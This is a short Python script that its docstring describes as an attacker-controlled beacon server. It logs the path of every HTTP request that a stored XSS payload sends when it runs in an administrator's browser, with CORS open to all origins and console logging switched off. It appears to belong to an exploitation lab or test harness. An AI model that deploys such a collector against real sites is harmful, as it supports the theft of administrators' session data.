#!/usr/bin/env python3
"""Minimal attacker-controlled beacon server.

Logs every inbound HTTP request line to a log file. The stored XSS payload
phones home here when it executes in the administrator's browser session.
"""
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer
from datetime import datetime, timezone

LOG_PATH = sys.argv[2]
PORT = int(sys.argv[1])


class Handler(BaseHTTPRequestHandler):
    def _hit(self):
        line = "%s %s\n" % (datetime.now(timezone.utc).isoformat(), self.path)
        with open(LOG_PATH, "a") as fh:
            fh.write(line)
        body = b"ok\n"
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(body)))
        self.send_header("Access-Control-Allow-Origin", "*")
        self.end_headers()
        self.wfile.write(body)

    do_GET = _hit
    do_POST = _hit

    def log_message(self, fmt, *args):
        pass


HTTPServer(("0.0.0.0", PORT), Handler).serve_forever()
